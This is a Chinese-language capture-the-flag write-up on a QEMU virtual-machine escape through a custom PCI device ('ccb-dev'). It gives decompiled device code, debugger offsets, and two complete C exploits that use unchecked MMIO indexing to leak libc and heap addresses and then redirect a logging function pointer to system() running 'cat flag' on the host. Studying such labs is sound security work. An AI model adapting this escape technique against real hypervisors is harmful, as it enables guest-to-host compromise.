qemu虚拟化逃逸
第一次做这种类型的,大体记录一下过程
ccb-dev
这个题目是一个qemu的iot的类型的题目,附件给了完整的模拟环境,这个题目是oob的任意读写的题目
我们来学习这个题目的做题流程
这个题目的docker是load是导入镜像,这里我们不能直接解压,解压之后是得不到正常的环境信息的
这里的镜像包是1.1G,不知道为啥下载不下来,只能让ai直接
• docker load 的本质是:把“已经做好的镜像”从一个归档文件里恢复到本地 Docker 镜像库。
不是构建,也不是执行 Dockerfile。更像“反序列化镜像”。
这里我们的docker没有问题,这个OCI有问题,不能进行还原,可能是太大了吧。。。
还原之后先确定docker的镜像
docker image ls | rg ccb-dev之后启动
docker run -d --name ccb-dev -p 9999:9999 ccb-dev:latest查看容器是否正常
docker ps
docker logs ccb-dev可以这样链接
nc 127.0.0.1 9999进容器的这样操作
docker exec -it ccb-dev /bin/bash连接上之后,会给我一个shell,我们可以直接进容器,然后把容器中的核心的附件拷贝到进当前目录下。
mkdir -p challenge-attachments
docker cp ccb-dev:/home/ctf/run.sh challenge-attachments/
docker cp ccb-dev:/home/ctf/qemu-system-x86_64 challenge-attachments/
docker cp ccb-dev:/home/ctf/vmlinuz challenge-attachments/
docker cp ccb-dev:/home/ctf/core.cpio challenge-attachments/
docker cp ccb-dev:/home/ctf/pc-bios challenge-attachments/之后通过解压一下安装包
# 创建解压目录并进入
mkdir extracted
cd extracted
# 使用 cpio 解包(从标准输入重定向)
cpio -idmv < ../core.cpio洗后我们看了看这个start.sh文件
#!/bin/sh
./qemu-system-x86_64 \
-m 512M \
-kernel ./vmlinuz \
-initrd ./core.cpio \
-L pc-bios \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-device ccb-dev-pci \
-nographic这里是把设备文件写进qemu里面了,拖进ida之后分析即可,我们输入ccb进行关键字的筛选
这里简单的介绍一下这几个函数的作用,这个是在给设备注册
void __cdecl ccb_dev_class_init(ObjectClass *oc, void *data)
{
DeviceClass *dc; // [rsp+10h] [rbp-10h]
PCIDeviceClass *pci; // [rsp+18h] [rbp-8h]
dc = (DeviceClass *)object_class_dynamic_cast_assert(
oc,
"device",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
146,
"ccb_dev_class_init");
pci = (PCIDeviceClass *)object_class_dynamic_cast_assert(
oc,
"pci-device",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
147,
"ccb_dev_class_init");
pci->realize = (void (*)(PCIDevice *, Error **))ccb_dev_realize;
pci->vendor_id = 4660;
pci->device_id = 4919;
pci->revision = -127;
pci->class_id = 255;
dc->desc = "arttnba3 test PCI device";
set_bit_68(7, dc->categories);
}之后会进行回调,也就是调用这个函数,实现初始化的功能
void __cdecl ccb_dev_realize(PCIDevice *pci_dev, Error **errp)
{
CCBPCIDevState *ds_0; // [rsp+18h] [rbp-8h]
ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
&pci_dev->qdev.parent_obj,
"ccb-dev-pci",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
123,
"ccb_dev_realize");
memory_region_init_io(
&ds_0->mmio,
&ds_0->parent_obj.qdev.parent_obj,
&ccb_dev_mmio_ops,
pci_dev,
"ccb_dev-mmio",
0x800u);
pci_register_bar(pci_dev, 0, 0, &ds_0->mmio);
memset(ds_0->buffer, 0, sizeof(ds_0->buffer));
ds_0->index = 0;
ds_0->log_arg = 0;
ds_0->status = 0;
ds_0->log_fd = 2;
memset(ds_0->log_format, 0, sizeof(ds_0->log_format));
ds_0->log_handler = (LogHandlerFunc)&dprintf;
}读寄存器
uint32_t __cdecl ccb_dev_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint32_t val; // [rsp+20h] [rbp-10h]
CCBPCIDevState *ds_0; // [rsp+28h] [rbp-8h]
ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
(Object *)opaque,
"ccb-dev-pci",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
55,
"ccb_dev_mmio_read");
val = 0;
switch ( addr )
{
case 0uLL:
val = ds_0->index;
break;
case 4uLL:
val = ds_0->buffer[ds_0->index];
break;
case 8uLL:
val = 0xDEADBEEF;
break;
case 0x10uLL:
val = ds_0->log_arg;
break;
case 0x18uLL:
val = ds_0->status;
break;
default:
return val;
}
return val;
}这里是没有检查的,意味可以越界读
case 0uLL:
val = ds_0->index;
break;
case 4uLL:
val = ds_0->buffer[ds_0->index];
break;写寄存器,这里也是意味着我们越界写的
void __cdecl ccb_dev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t vala; // [rsp+8h] [rbp-28h]
CCBPCIDevState *ds_0; // [rsp+28h] [rbp-8h]
vala = val;
ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
(Object *)opaque,
"ccb-dev-pci",
"/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
85,
"ccb_dev_mmio_write");
switch ( addr )
{
case 0uLL:
ds_0->index = vala;
break;
case 4uLL:
ds_0->buffer[ds_0->index] = vala;
break;
case 0xCuLL:
if ( ds_0->log_handler )
{
ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
ds_0->status = 0x10663D;
}
else
{
ds_0->status = 0xFA113D;
}
break;
case 0x10uLL:
ds_0->log_arg = vala;
break;
case 0x14uLL:
ds_0->log_fd = vala;
break;
default:
return;
}
}我们根据这个伪造,触发system调用即可
case 0xCuLL:
if ( ds_0->log_handler )
{
ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
ds_0->status = 0x10663D;
}
else
{
ds_0->status = 0xFA113D;
}
break;我们第一次做这种类型,学习一下基本的交互
这题不是“你调用一个现成函数,设备替你完成事”。
这题是:你在 guest 里,像驱动一样,去读写这个 PCI 设备的寄存器。所以 exp 不是在“调用漏洞函数”,而是在“模拟驱动和设备对话”。
PMIO设备的交互
对于 PMIO 交互方式,我们可以先通过 iopl(3) 获取交互权限,接下来直接使用 in() 与 out() 系函数即可读写端口,需要注意的是端口地址应与读写长度对齐(例如读写 4 字节则端口地址需要对齐到 4),下面是一个例子:
void pmio_write(uint32_t port, uint32_t val)
{
outl(val, port);
}
uint32_t pmio_read(uint32_t port)
{
return inl(port);
}
int main(int argc, char **argv, char **envp)
{
uint32_t pmio_port = 0xc050;
uint32_t val;
//...
if (iopl(3) < 0) {
errExit("failed to change i/o privilege! no root?");
}
/* This is just an example */
val = pmio_read(pmio_port);
pmio_write(pmio_port + 4, 0xdeadbeef)MMIO设备的交互
首先获取设备号
lspci
/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111在init函数中是有下面这个代码的,之前的话已经贴过
pci->realize = (void (*)(PCIDevice *, Error **))ccb_dev_realize;
pci->vendor_id = 0x1234;
pci->device_id = 0x1337;
pci->revision = -127;
pci->class_id = 255;所以说后面的设备号是这样写的
/sys/bus/pci/devices/0000:00:04.0/一开始必须这样写的额
fd = open("/sys/bus/pci/devices/.../resource0", O_RDWR | O_SYNC);
bar = mmap(..., fd, ...);之后我们的基本的基本操作如下
uint32_t reg_read32(uint8_t *bar, uint32_t off);
void reg_write32(uint8_t *bar, uint32_t off, uint32_t val);这里我们的导入库如下
#include <stdio.h>
因为要用 printf
#include <stdint.h>
因为要用 uint8_t、uint32_t、uint64_t
#include <stdlib.h>
因为可能会用到 exit、malloc 这类标准库函数
#include <string.h>
因为要用 strcmp、strchr、memset
#include <dirent.h>
因为要遍历目录,比如 /sys/bus/pci/devices
#include <fcntl.h>
因为要用 open,还要用 O_RDWR、O_SYNC 这些标志
#include <unistd.h>
因为要用 read、close
#include <errno.h>
因为出错时要看 errno
#include <sys/mman.h>
因为要用 mmap,把 resource0 映射到内存里之后我们想办法泄露libc,这里我们计算一下偏移,这里我们补充一下如何进行调试
我们把编辑好的exp放入文件系统,然后打包,这里不要错位目录
find . | cpio -o -H newc > ../core_patched.cpio之后我们改一下start.sh,改成这个就行
-initrd ./core_patched.cpio \这个不是内核,调试的时候不能简单的加上-s这个参数
这个是qemu,是在宿主机上进行调试的,之后的话内核调试的也是差不多的
这里不知道是通过符号断点的,要不识别不了,这里我们断点到实际的执行的部分

就是改改这里就行,一个改成system,一个改上cat flag
09:0048│ 0x6129927014d8 —▸ 0x7fab7a260a10 (dprintf) ◂— endbr64
0a:0050│ 0x6129927014e0 ◂— 2简单的计算一下
pwndbg> p/x (0x6129927014d8-0x612992701490-4)/4
$2 = 0x11注意这里是32字节,拆分合并泄露即可,这里泄露出来libc的地址

这里一开始当小丑了,直接把cat flag写进去了
mmio_write(0,19);
mmio_write(4,' tac');
mmio_write(0,20);
mmio_write(4,'galf');这里我们额外选择泄露heap,多上一层中转去做即可

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
char *pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char *mmio_base;
uint32_t mmio_read(uint64_t addr) {
return *((uint32_t *)(mmio_base + addr));
}
void mmio_write(uint64_t addr, uint32_t value) {
*((uint32_t *)(mmio_base + addr)) = value;
}
int main(){
int fd;
fd = open(pci_device_name, O_RDWR | O_SYNC);
if (fd < 0){
perror("open");
return 1;
}
mmio_base = (unsigned char *)mmap(NULL, 0x1000,PROT_READ | PROT_WRITE,MAP_SHARED,fd, 0);
if (mmio_base == MAP_FAILED){
perror("mwo kanwomap");
return 1;
}
//泄露libc
mmio_write(0, 17);
uint32_t low = mmio_read(4);
printf("low : 0x%08x\n", low);
mmio_write(0, 18);
uint32_t high = mmio_read(4);
printf("high: 0x%08x\n", high);
uint64_t leak = (((uint64_t)high << 32) | low) - 0x60a10;
printf("leak: 0x%016lx\n", leak);
//泄露堆地址
mmio_write(0, 103);
uint32_t heap_low = mmio_read(4);
printf("heap_low : 0x%08x\n", heap_low);
mmio_write(0, 104);
uint32_t heap_high = mmio_read(4);
printf("heap_high: 0x%08x\n", heap_high);
uint64_t heap = ((uint64_t)heap_high << 32) | heap_low;
uint64_t log_format = heap + 0xaa0;
printf("heap: 0x%016lx\n", heap);
printf("log_format: 0x%016lx\n", log_format);
mmio_write(0,23);
mmio_write(4,' tac');
mmio_write(0,24);
mmio_write(4,'galf');
mmio_write(0,25);
mmio_write(4,0);
mmio_write(0,19);
mmio_write(4,log_format & 0xffffffff);
mmio_write(0,20);
mmio_write(4,log_format >> 32);
mmio_write(0,17);
mmio_write(4,(leak & 0xffffffff) + 0x50d70);
mmio_write(0,18);
mmio_write(4,(leak >> 32));
mmio_write(0xc,0);
return 0;
}这里是让ai给我们封装了一下
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
char *pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char *mmio_base;
uint32_t mmio_read(uint64_t addr) {
return *((uint32_t *)(mmio_base + addr));
}
void mmio_write(uint64_t addr, uint32_t value) {
*((uint32_t *)(mmio_base + addr)) = value;
}
uint32_t read_data(uint32_t idx) {
mmio_write(0, idx);
return mmio_read(4);
}
void write_data(uint32_t idx, uint32_t value) {
mmio_write(0, idx);
mmio_write(4, value);
}
uint64_t read64(uint32_t idx) {
uint32_t low = read_data(idx);
uint32_t high = read_data(idx + 1);
return ((uint64_t)high << 32) | low;
}
void write64(uint32_t idx, uint64_t value) {
write_data(idx, value & 0xffffffff);
write_data(idx + 1, value >> 32);
}
int main(){
int fd;
fd = open(pci_device_name, O_RDWR | O_SYNC);
if (fd < 0){
perror("open");
return 1;
}
mmio_base = (unsigned char *)mmap(NULL, 0x1000,PROT_READ | PROT_WRITE,MAP_SHARED,fd, 0);
if (mmio_base == MAP_FAILED){
perror("mwo kanwomap");
return 1;
}
//泄露libc
mmio_write(0, 17);
uint32_t low = mmio_read(4);
printf("low : 0x%08x\n", low);
mmio_write(0, 18);
uint32_t high = mmio_read(4);
printf("high: 0x%08x\n", high);
uint64_t leak = (((uint64_t)high << 32) | low) - 0x60a10;
printf("leak: 0x%016lx\n", leak);
uint64_t heap = read64(103);
uint64_t log_format = heap + 0xaa0;
printf("heap: 0x%016lx\n", heap);
printf("log_format: 0x%016lx\n", log_format);
write_data(23, ' tac');
write_data(24, 'galf');
write_data(25, 0);
write64(19, log_format);
write64(17, leak + 0x50d70);
mmio_write(0xc,0);
return 0;
}